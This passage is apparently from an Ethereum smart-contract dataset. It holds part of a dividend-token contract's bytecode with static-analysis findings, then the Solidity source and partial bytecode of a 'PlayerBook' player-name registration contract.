81526020017f444546000000000000000000000000000000000000000000000000000000000081525081565b611889816122df565b50565b60008060149054906101000a900460ff1615806118f557506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6118fe57600080fd5b611909338484611dd8565b506001905092915050565b6000600160020160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201549050919050565b6000600160020160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000806119fc33610a8f565b90506000811015611a0c57600080fd5b680100000000000000008102600160020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206004016000828254019250508190555080600160020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101600082825401925050819055503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a33373ffffffffffffffffffffffffffffffffffffffff167f4256a058fa2b123d727576d3d31e3a272db98ee5fe264e229610ce43dc849999826040518082815260200191505060405180910390a28091505090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611bd057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611c0a57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160040160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611d2557600080fd5b80600160020160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f5a25e09a5dba33161281055e015f1279b6b10204d8f90dd56a8ce2b82322d43d82604051808215151515815260200191505060405180910390a25050565b600081611de48561147e565b1015611def57600080fd5b81600160020160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160008282540392505081905550600060646005840281611e5157fe5b049050606460016a084595161401484a0000000281611e6c57fe5b0481611e76610d5c565b031080611e885750611e8785610f35565b5b15611e9257600090505b6000818403905080600160020160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101600082825401925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a360008211156120b6576000600180015411156120055760028281611f7157fe5b049150600180015468010000000000000000830281611f8c57fe5b046001600301600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35b81600160000160008282540392505081905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a37fb90306ad06b2a6ff86ddc9327db583062895ef6540e62dc50add009db5b356eb826040518082815260200191505060405180910390a15b80925050509392505050565b806120cc33611914565b10156120d757600080fd5b6000606460058302816120e657fe5b04905060018001546801000000000000000082028161210157fe5b0460016003016000828254019250508190555081600180016000828254039250508190555080600160020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001016000828254039250508190555081600160020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600082825403925050819055506001600301548202600160020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8385036040518082815260200191505060405180910390a33373ffffffffffffffffffffffffffffffffffffffff167f85082129d87b2fe11527cb1b3b7a520aeb5aa6913f88a3d8757fe40d1db02fdd836040518082815260200191505060405180910390a25050565b806122e93361147e565b10156122f457600080fd5b683635c9adc5dea000008161230833611914565b01101561231457600080fd5b80600180016000828254019250508190555080600160020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600082825401925050819055506001600301548102600160020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a33373ffffffffffffffffffffffffffffffffffffffff167febedb8b3c678666e7f36970bc8f57abf6d8fa2e828c0da91ea5b75bf68ed101a826040518082815260200191505060405180910390a25056fea265627a7a7231582054c6e70601be1a73c7e880ee2e10e70332d3f3482f5a999fb38be9e0a1223eff64736f6c634300050d0032
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
1,008
0xa6fd21aa986247357f404aa37a7bc90809da1ad8
pragma solidity ^0.4.24; interface PlayerBookReceiverInterface { function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external; function receivePlayerNameList(uint256 _pID, bytes32 _name) external; } contract PlayerBook { using NameFilter for string; using SafeMath for uint256; address public ceo; address public cfo; uint256 public registrationFee_ = 10 finney; // 0.01 ETH 注册一个帐号 mapping(uint256 => PlayerBookReceiverInterface) public games_; // mapping of our game interfaces for sending your account info to games mapping(address => bytes32) public gameNames_; // lookup a games name mapping(address => uint256) public gameIDs_; // lokup a games ID uint256 public gID_; // total number of games uint256 public pID_; // total number of players mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name mapping (uint256 => Player) public plyr_; // (pID => data) player data mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amoungst any name you own) mapping (uint256 => mapping (uint256 => bytes32)) public plyrNameList_; // (pID => nameNum => name) list of names a player owns struct Player { address addr; bytes32 name; uint256 laff; uint256 names; } constructor() public { ceo = msg.sender; cfo = msg.sender; pID_ = 0; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "Not Human"); _; } modifier isRegisteredGame() { require(gameIDs_[msg.sender] != 0); _; } event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); function checkIfNameValid(string _nameStr) public view returns(bool) { bytes32 _name = _nameStr.nameFilter(); if (pIDxName_[_name] == 0) return (true); else return (false); } function modCEOAddress(address newCEO) isHuman() public { require(address(0) != newCEO, "CEO Can not be 0"); require(ceo == msg.sender, "only ceo can modify ceo"); ceo = newCEO; } function modCFOAddress(address newCFO) isHuman() public { require(address(0) != newCFO, "CFO Can not be 0"); require(cfo == msg.sender, "only cfo can modify cfo"); cfo = newCFO; } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); bytes32 _name = NameFilter.nameFilter(_nameString); address _addr = msg.sender; bool _isNewPlayer = determinePID(_addr); uint256 _pID = pIDxAddr_[_addr]; if (_affCode != 0 && _affCode != plyr_[_pID].laff && _affCode != _pID) { plyr_[_pID].laff = _affCode; } else if (_affCode == _pID) { _affCode = 0; } registerNameCore(_pID, _addr, _affCode, _name, _isNewPlayer, _all); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); bytes32 _name = NameFilter.nameFilter(_nameString); address _addr = msg.sender; bool _isNewPlayer = determinePID(_addr); uint256 _pID = pIDxAddr_[_addr]; uint256 _affID; if (_affCode != address(0) && _affCode != _addr) { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); bytes32 _name = NameFilter.nameFilter(_nameString); address _addr = msg.sender; bool _isNewPlayer = determinePID(_addr); uint256 _pID = pIDxAddr_[_addr]; uint256 _affID; if (_affCode != "" && _affCode != _name) { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); } function addMeToGame(uint256 _gameID) isHuman() public { require(_gameID <= gID_, "Game Not Exist"); address _addr = msg.sender; uint256 _pID = pIDxAddr_[_addr]; require(_pID != 0, "Player Not Found"); uint256 _totalNames = plyr_[_pID].names; games_[_gameID].receivePlayerInfo(_pID, _addr, plyr_[_pID].name, plyr_[_pID].laff); if (_totalNames > 1) for (uint256 ii = 1; ii <= _totalNames; ii++) games_[_gameID].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]); } function addMeToAllGames() isHuman() public { address _addr = msg.sender; uint256 _pID = pIDxAddr_[_addr]; require(_pID != 0, "Player Not Found"); uint256 _laff = plyr_[_pID].laff; uint256 _totalNames = plyr_[_pID].names; bytes32 _name = plyr_[_pID].name; for (uint256 i = 1; i <= gID_; i++) { games_[i].receivePlayerInfo(_pID, _addr, _name, _laff); if (_totalNames > 1) for (uint256 ii = 1; ii <= _totalNames; ii++) games_[i].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]); } } function useMyOldName(string _nameString) isHuman() public { bytes32 _name = _nameString.nameFilter(); uint256 _pID = pIDxAddr_[msg.sender]; require(plyrNames_[_pID][_name] == true, "umm... thats not a name you own"); plyr_[_pID].name = _name; } function registerNameCore(uint256 _pID, address _addr, uint256 _affID, bytes32 _name, bool _isNewPlayer, bool _all) private { if (pIDxName_[_name] != 0) require(plyrNames_[_pID][_name] == true, "Name Already Exist!"); plyr_[_pID].name = _name; pIDxName_[_name] = _pID; if (plyrNames_[_pID][_name] == false) { plyrNames_[_pID][_name] = true; plyr_[_pID].names++; plyrNameList_[_pID][plyr_[_pID].names] = _name; } cfo.transfer(address(this).balance); if (_all == true) for (uint256 i = 1; i <= gID_; i++) games_[i].receivePlayerInfo(_pID, _addr, _name, _affID); emit onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, msg.value, now); } function determinePID(address _addr) private returns (bool) { if (pIDxAddr_[_addr] == 0) { pID_++; pIDxAddr_[_addr] = pID_; plyr_[pID_].addr = _addr; return (true); } else { return (false); } } function getPlayerID(address _addr) isRegisteredGame() external returns (uint256) { determinePID(_addr); return (pIDxAddr_[_addr]); } function getPlayerName(uint256 _pID) external view returns (bytes32) { return (plyr_[_pID].name); } function getPlayerLAff(uint256 _pID) external view returns (uint256) { return (plyr_[_pID].laff); } function getPlayerAddr(uint256 _pID) external view returns (address) { return (plyr_[_pID].addr); } function getNameFee() external view returns (uint256) { return(registrationFee_); } function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); bool _isNewPlayer = determinePID(_addr); uint256 _pID = pIDxAddr_[_addr]; uint256 _affID = _affCode; if (_affID != 0 && _affID != plyr_[_pID].laff && _affID != _pID) { plyr_[_pID].laff = _affID; } else if (_affID == _pID) { _affID = 0; } registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); bool _isNewPlayer = determinePID(_addr); uint256 _pID = pIDxAddr_[_addr]; uint256 _affID; if (_affCode != address(0) && _affCode != _addr) { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { require (msg.value >= registrationFee_, "umm..... you have to pay the name fee"); bool _isNewPlayer = determinePID(_addr); uint256 _pID = pIDxAddr_[_addr]; uint256 _affID; if (_affCode != "" && _affCode != _name) { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } function addGame(address _gameAddress, string _gameNameStr) public { require(ceo == msg.sender, "ONLY ceo CAN add game"); require(gameIDs_[_gameAddress] == 0, "Game Already Registered!"); gID_++; bytes32 _name = _gameNameStr.nameFilter(); gameIDs_[_gameAddress] = gID_; gameNames_[_gameAddress] = _name; games_[gID_] = PlayerBookReceiverInterface(_gameAddress); } function setRegistrationFee(uint256 _fee) public { require(ceo == msg.sender, "ONLY ceo CAN add game"); registrationFee_ = _fee; } } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, "Invalid Length"); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "Can NOT start with SPACE"); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, "CAN NOT Start With 0x"); require(_temp[1] != 0x58, "CAN NOT Start With 0X"); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { // 小写转大写 if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), "Include Illegal characters" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, "ONLY One Space Allowed"); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, "All Numbers Not Allowed"); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "Add Failed"); return c; } }
0x6080604052600436106101955763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630c6940ea811461019a57806310f01eba146101b1578063180603eb146101e45780631ed20347146101f95780632614195f1461022a5780632660316e1461023f57806327249e611461026e5780632e19ebdc1461028f5780633ddd4698146102a75780633fda926e146103035780634b2271761461036a5780634d0d35ff1461037f578063685ffd83146103975780636c52660d146103ea578063745ea0c11461044357806381c5b2061461047d578063827037d61461049557806382e37b2c146104b6578063908921fc146104ce578063921dec21146104e3578063a448ed4b14610536578063aa4d490b14610551578063b929129614610574578063b9eca0c8146105cd578063c0942dfd146105e2578063c320c72714610601578063d524127914610619578063dbbcaa9714610631578063de7874f314610652578063e3c08adf1461069a578063e56556a9146106b2578063f04893c2146106d3575b600080fd5b3480156101a657600080fd5b506101af6106f4565b005b3480156101bd57600080fd5b506101d2600160a060020a0360043516610952565b60408051918252519081900360200190f35b3480156101f057600080fd5b506101d2610964565b34801561020557600080fd5b5061020e61096a565b60408051600160a060020a039092168252519081900360200190f35b34801561023657600080fd5b506101d2610979565b34801561024b57600080fd5b5061025a60043560243561097f565b604080519115158252519081900360200190f35b34801561027a57600080fd5b506101d2600160a060020a036004351661099f565b34801561029b57600080fd5b506101d26004356109b1565b6040805160206004803580820135601f81018490048402850184019095528484526101af94369492936024939284019190819084018382808284375094975050600160a060020a038535169550505050506020013515156109c3565b34801561030f57600080fd5b5060408051602060046024803582810135601f81018590048502860185019096528585526101af958335600160a060020a0316953695604494919390910191908190840183828082843750949750610b2d9650505050505050565b34801561037657600080fd5b506101d2610c6f565b34801561038b57600080fd5b5061020e600435610c75565b6040805160206004803580820135601f81018490048402850184019095528484526101af943694929360249392840191908190840183828082843750949750508435955050505050602001351515610c93565b3480156103f657600080fd5b506040805160206004803580820135601f810184900484028501840190955284845261025a943694929360249392840191908190840183828082843750949750610dd19650505050505050565b610462600160a060020a03600435166024356044356064351515610e09565b60408051921515835260208301919091528051918290030190f35b34801561048957600080fd5b506101af600435610f1d565b3480156104a157600080fd5b506101af600160a060020a03600435166111bc565b3480156104c257600080fd5b506101d26004356112f6565b3480156104da57600080fd5b5061020e61130b565b6040805160206004803580820135601f81018490048402850184019095528484526101af94369492936024939284019190819084018382808284375094975050843595505050505060200135151561131a565b34801561054257600080fd5b506101d260043560243561145c565b610462600160a060020a0360043581169060243590604435166064351515611479565b34801561058057600080fd5b506040805160206004803580820135601f81018490048402850184019095528484526101af94369492936024939284019190819084018382808284375094975061159c9650505050505050565b3480156105d957600080fd5b506101d261168e565b610462600160a060020a03600435166024356044356064351515611694565b34801561060d57600080fd5b506101af6004356117a0565b34801561062557600080fd5b5061020e600435611807565b34801561063d57600080fd5b506101d2600160a060020a0360043516611822565b34801561065e57600080fd5b5061066a600435611834565b60408051600160a060020a0390951685526020850193909352838301919091526060830152519081900360800190f35b3480156106a657600080fd5b506101d2600435611865565b3480156106be57600080fd5b506101d2600160a060020a036004351661187a565b3480156106df57600080fd5b506101af600160a060020a03600435166118bb565b600080808080808033803b8015610743576040805160e560020a62461bcd02815260206004820152600960248201526000805160206124a9833981519152604482015290519081900360640190fd5b3360008181526008602052604090205490995097508715156107af576040805160e560020a62461bcd02815260206004820152601060248201527f506c61796572204e6f7420466f756e6400000000000000000000000000000000604482015290519081900360640190fd5b6000888152600a60205260409020600281015460038201546001928301549199509750955093505b6006548411610947576000848152600360205260408082205481517f49cc635d000000000000000000000000000000000000000000000000000000008152600481018c9052600160a060020a038d81166024830152604482018a9052606482018c9052925192909116926349cc635d9260848084019382900301818387803b15801561086257600080fd5b505af1158015610876573d6000803e3d6000fd5b50505050600186111561093c57600192505b85831161093c576000848152600360209081526040808320548b8452600c83528184208785529092528083205481517f8f7140ea000000000000000000000000000000000000000000000000000000008152600481018d905260248101919091529051600160a060020a0390921692638f7140ea9260448084019382900301818387803b15801561091857600080fd5b505af115801561092c573d6000803e3d6000fd5b5050600190940193506108889050565b6001909301926107d7565b505050505050505050565b60086020526000908152604090205481565b60025481565b600154600160a060020a031681565b60025490565b600b60209081526000928352604080842090915290825290205460ff1681565b60046020526000908152604090205481565b60096020526000908152604090205481565b60008080808033803b8015610a10576040805160e560020a62461bcd02815260206004820152600960248201526000805160206124a9833981519152604482015290519081900360640190fd5b600254341015610a6c576040805160e560020a62461bcd028152602060048201526026602482015260008051602061248983398151915260448201526000805160206124c9833981519152606482015290519081900360840190fd5b610a758a6119f5565b9650339550610a8386612170565b600160a060020a03808816600090815260086020526040902054919650909450891615801590610ac5575085600160a060020a031689600160a060020a031614155b15610b1357600160a060020a038916600090815260086020908152604080832054878452600a909252909120600201549093508314610b13576000848152600a602052604090206002018390555b610b218487858a898d6121f2565b50505050505050505050565b60008054600160a060020a03163314610b90576040805160e560020a62461bcd02815260206004820152601560248201527f4f4e4c592063656f2043414e206164642067616d650000000000000000000000604482015290519081900360640190fd5b600160a060020a03831660009081526005602052604090205415610bfe576040805160e560020a62461bcd02815260206004820152601860248201527f47616d6520416c72656164792052656769737465726564210000000000000000604482015290519081900360640190fd5b600680546001019055610c10826119f5565b60068054600160a060020a03909516600081815260056020908152604080832098909855600481528782209490945591548252600390925293909320805473ffffffffffffffffffffffffffffffffffffffff19169093179092555050565b60075481565b6000818152600a6020526040902054600160a060020a03165b919050565b60008080808033803b8015610ce0576040805160e560020a62461bcd02815260206004820152600960248201526000805160206124a9833981519152604482015290519081900360640190fd5b600254341015610d3c576040805160e560020a62461bcd028152602060048201526026602482015260008051602061248983398151915260448201526000805160206124c9833981519152606482015290519081900360840190fd5b610d458a6119f5565b9650339550610d5386612170565b600160a060020a03871660009081526008602052604090205490955093508815801590610d805750888714155b15610b1357600089815260096020908152604080832054878452600a909252909120600201549093508314610b13576000848152600a60205260409020600201839055610b218487858a898d6121f2565b600080610ddd836119f5565b6000818152600960205260409020549091501515610dfe5760019150610e03565b600091505b50919050565b3360009081526005602052604081205481908190819081901515610e2c57600080fd5b600254341015610e88576040805160e560020a62461bcd028152602060048201526026602482015260008051602061248983398151915260448201526000805160206124c9833981519152606482015290519081900360840190fd5b610e9189612170565b600160a060020a038a1660009081526008602052604090205490935091508615801590610ebe5750868814155b15610f005750600086815260096020908152604080832054848452600a909252909120600201548114610f00576000828152600a602052604090206002018190555b610f0e828a838b878b6121f2565b91989197509095505050505050565b600080808033803b8015610f69576040805160e560020a62461bcd02815260206004820152600960248201526000805160206124a9833981519152604482015290519081900360640190fd5b600654871115610fc3576040805160e560020a62461bcd02815260206004820152600e60248201527f47616d65204e6f74204578697374000000000000000000000000000000000000604482015290519081900360640190fd5b33600081815260086020526040902054909650945084151561102f576040805160e560020a62461bcd02815260206004820152601060248201527f506c61796572204e6f7420466f756e6400000000000000000000000000000000604482015290519081900360640190fd5b6000858152600a602081815260408084206003808201548d8752908452828620548b875294909352600181015460029091015482517f49cc635d000000000000000000000000000000000000000000000000000000008152600481018c9052600160a060020a038d81166024830152604482019390935260648101919091529151929850909216926349cc635d926084808201939182900301818387803b1580156110d957600080fd5b505af11580156110ed573d6000803e3d6000fd5b5050505060018411156111b357600192505b8383116111b357600087815260036020908152604080832054888452600c83528184208785529092528083205481517f8f7140ea000000000000000000000000000000000000000000000000000000008152600481018a905260248101919091529051600160a060020a0390921692638f7140ea9260448084019382900301818387803b15801561118f57600080fd5b505af11580156111a3573d6000803e3d6000fd5b5050600190940193506110ff9050565b50505050505050565b33803b8015611203576040805160e560020a62461bcd02815260206004820152600960248201526000805160206124a9833981519152604482015290519081900360640190fd5b600160a060020a0383161515611263576040805160e560020a62461bcd02815260206004820152601060248201527f43454f2043616e206e6f74206265203000000000000000000000000000000000604482015290519081900360640190fd5b600054600160a060020a031633146112c5576040805160e560020a62461bcd02815260206004820152601860248201527f6f6e6c79202063656f2063616e206d6f646966792063656f0000000000000000604482015290519081900360640190fd5b50506000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000908152600a602052604090206001015490565b600054600160a060020a031681565b600080808033803b8015611366576040805160e560020a62461bcd02815260206004820152600960248201526000805160206124a9833981519152604482015290519081900360640190fd5b6002543410156113c2576040805160e560020a62461bcd028152602060048201526026602482015260008051602061248983398151915260448201526000805160206124c9833981519152606482015290519081900360840190fd5b6113cb896119f5565b95503394506113d985612170565b600160a060020a0386166000908152600860205260409020549094509250871580159061141757506000838152600a60205260409020600201548814155b80156114235750828814155b15611441576000838152600a6020526040902060020188905561144e565b8288141561144e57600097505b61094783868a89888c6121f2565b600c60209081526000928352604080842090915290825290205481565b336000908152600560205260408120548190819081908190151561149c57600080fd5b6002543410156114f8576040805160e560020a62461bcd028152602060048201526026602482015260008051602061248983398151915260448201526000805160206124c9833981519152606482015290519081900360840190fd5b61150189612170565b600160a060020a03808b16600090815260086020526040902054919450909250871615801590611543575088600160a060020a031687600160a060020a031614155b15610f005750600160a060020a038616600090815260086020908152604080832054848452600a909252909120600201548114610f00576000828152600a60205260409020600201819055610f0e828a838b878b6121f2565b60008033803b80156115e6576040805160e560020a62461bcd02815260206004820152600960248201526000805160206124a9833981519152604482015290519081900360640190fd5b6115ef856119f5565b33600090815260086020908152604080832054808452600b835281842085855290925290912054919550935060ff161515600114611677576040805160e560020a62461bcd02815260206004820152601f60248201527f756d6d2e2e2e207468617473206e6f742061206e616d6520796f75206f776e00604482015290519081900360640190fd5b50506000908152600a602052604090206001015550565b60065481565b33600090815260056020526040812054819081908190819015156116b757600080fd5b600254341015611713576040805160e560020a62461bcd028152602060048201526026602482015260008051602061248983398151915260448201526000805160206124c9833981519152606482015290519081900360840190fd5b61171c89612170565b600160a060020a038a166000908152600860205260409020549093509150869050801580159061175d57506000828152600a60205260409020600201548114155b80156117695750818114155b15611787576000828152600a60205260409020600201819055610f00565b81811415610f0057506000610f0e828a838b878b6121f2565b600054600160a060020a03163314611802576040805160e560020a62461bcd02815260206004820152601560248201527f4f4e4c592063656f2043414e206164642067616d650000000000000000000000604482015290519081900360640190fd5b600255565b600360205260009081526040902054600160a060020a031681565b60056020526000908152604090205481565b600a602052600090815260409020805460018201546002830154600390930154600160a060020a0390921692909184565b6000908152600a602052604090206002015490565b33600090815260056020526040812054151561189557600080fd5b61189e82612170565b5050600160a060020a031660009081526008602052604090205490565b33803b8015611902576040805160e560020a62461bcd02815260206004820152600960248201526000805160206124a9833981519152604482015290519081900360640190fd5b600160a060020a0383161515611962576040805160e560020a62461bcd02815260206004820152601060248201527f43464f2043616e206e6f74206265203000000000000000000000000000000000604482015290519081900360640190fd5b600154600160a060020a031633146119c4576040805160e560020a62461bcd02815260206004820152601760248201527f6f6e6c792063666f2063616e206d6f646966792063666f000000000000000000604482015290519081900360640190fd5b50506001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b8051600090829082808060208411801590611a105750600084115b1515611a66576040805160e560020a62461bcd02815260206004820152600e60248201527f496e76616c6964204c656e677468000000000000000000000000000000000000604482015290519081900360640190fd5b846000815181101515611a7557fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a0214158015611adc57508460018503815181101515611ab457fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a0214155b1515611b32576040805160e560020a62461bcd02815260206004820152601860248201527f43616e204e4f5420737461727420776974682053504143450000000000000000604482015290519081900360640190fd5b846000815181101515611b4157fe5b90602001015160f860020a900460f860020a02600160f860020a031916603060f860020a021415611c8457846001815181101515611b7b57fe5b90602001015160f860020a900460f860020a02600160f860020a031916607860f860020a0214151515611bf8576040805160e560020a62461bcd02815260206004820152601560248201527f43414e204e4f5420537461727420576974682030780000000000000000000000604482015290519081900360640190fd5b846001815181101515611c0757fe5b90602001015160f860020a900460f860020a02600160f860020a031916605860f860020a0214151515611c84576040805160e560020a62461bcd02815260206004820152601560248201527f43414e204e4f5420537461727420576974682030580000000000000000000000604482015290519081900360640190fd5b600091505b838210156121085784517f400000000000000000000000000000000000000000000000000000000000000090869084908110611cc157fe5b90602001015160f860020a900460f860020a02600160f860020a031916118015611d35575084517f5b0000000000000000000000000000000000000000000000000000000000000090869084908110611d1657fe5b90602001015160f860020a900460f860020a02600160f860020a031916105b15611da2578482815181101515611d4857fe5b90602001015160f860020a900460f860020a0260f860020a900460200160f860020a028583815181101515611d7957fe5b906020010190600160f860020a031916908160001a905350821515611d9d57600192505b6120fd565b8482815181101515611db057fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a021480611e80575084517f600000000000000000000000000000000000000000000000000000000000000090869084908110611e0c57fe5b90602001015160f860020a900460f860020a02600160f860020a031916118015611e80575084517f7b0000000000000000000000000000000000000000000000000000000000000090869084908110611e6157fe5b90602001015160f860020a900460f860020a02600160f860020a031916105b80611f2a575084517f2f0000000000000000000000000000000000000000000000000000000000000090869084908110611eb657fe5b90602001015160f860020a900460f860020a02600160f860020a031916118015611f2a575084517f3a0000000000000000000000000000000000000000000000000000000000000090869084908110611f0b57fe5b90602001015160f860020a900460f860020a02600160f860020a031916105b1515611f80576040805160e560020a62461bcd02815260206004820152601a60248201527f496e636c75646520496c6c6567616c2063686172616374657273000000000000604482015290519081900360640190fd5b8482815181101515611f8e57fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a021415612047578482600101815181101515611fca57fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a0214151515612047576040805160e560020a62461bcd02815260206004820152601660248201527f4f4e4c59204f6e6520537061636520416c6c6f77656400000000000000000000604482015290519081900360640190fd5b821580156120f3575084517f30000000000000000000000000000000000000000000000000000000000000009086908490811061208057fe5b90602001015160f860020a900460f860020a02600160f860020a03191610806120f3575084517f3900000000000000000000000000000000000000000000000000000000000000908690849081106120d457fe5b90602001015160f860020a900460f860020a02600160f860020a031916115b156120fd57600192505b600190910190611c89565b600183151514612162576040805160e560020a62461bcd02815260206004820152601760248201527f416c6c204e756d62657273204e6f7420416c6c6f776564000000000000000000604482015290519081900360640190fd5b505050506020015192915050565b600160a060020a03811660009081526008602052604081205415156121ea575060078054600190810191829055600160a060020a0383166000818152600860209081526040808320869055948252600a905292909220805473ffffffffffffffffffffffffffffffffffffffff1916909217909155610c8e565b506000610c8e565b6000838152600960205260408120541561227c576000878152600b6020908